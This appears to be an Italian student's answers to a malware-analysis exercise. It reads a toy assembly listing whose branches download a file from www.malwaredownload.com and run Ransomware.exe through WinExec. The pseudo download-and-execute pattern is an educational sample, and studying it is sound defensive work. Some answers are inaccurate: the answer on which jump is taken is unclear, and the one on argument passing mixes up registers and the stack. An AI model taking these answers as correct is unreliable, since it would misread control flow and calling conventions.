UNITÀ 3 SETTIMANA 3
COMPITO 5

TRACCIA

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.

2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

3. Quali sono le diverse funzionalità implementate all'interno del Malware?

4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

TRACCIA 1°

Il malware effettua un salto condizionale alla locazione 0040BBA0 se il confronto tra il registro EAX e il valore 5 non dà esito positivo (non zero). Successivamente, se il registro EBX è incrementato e il risultato del confronto tra EBX e 11 è positivo (zero), viene effettuato un altro salto condizionale alla locazione 0040FFA0.

TRACCIA 2

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

TRACCIA 3

Le diverse funzionalità implementate all'interno del malware includono:

Download di un file da un URL specifico (www.malwaredownload.com) e salvataggio su disco.

Esecuzione di un file `.exe` dal percorso specificato (C:\Program and Settings\Local User\Desktop\Ransomware.exe).

TRACCIA 4

Per quanto riguarda le istruzioni call presenti nelle tabelle 2 e 3, i dettagli tecnici dipendono dal contesto e dalle convenzioni di chiamata della specifica architettura e del sistema operativo di destinazione. Tuttavia, generalmente, nell'esempio fornito, gli argomenti delle chiamate di funzione vengono passati attraverso i registri. Ad esempio, prima della chiamata a DownloadToFile(), l'URL viene caricato nel registro EAX e poi spinto nello stack per essere utilizzato dalla funzione. Similarmente, prima della chiamata successiva, il percorso del file .exe viene caricato nel registro EDX e spinto nello stack.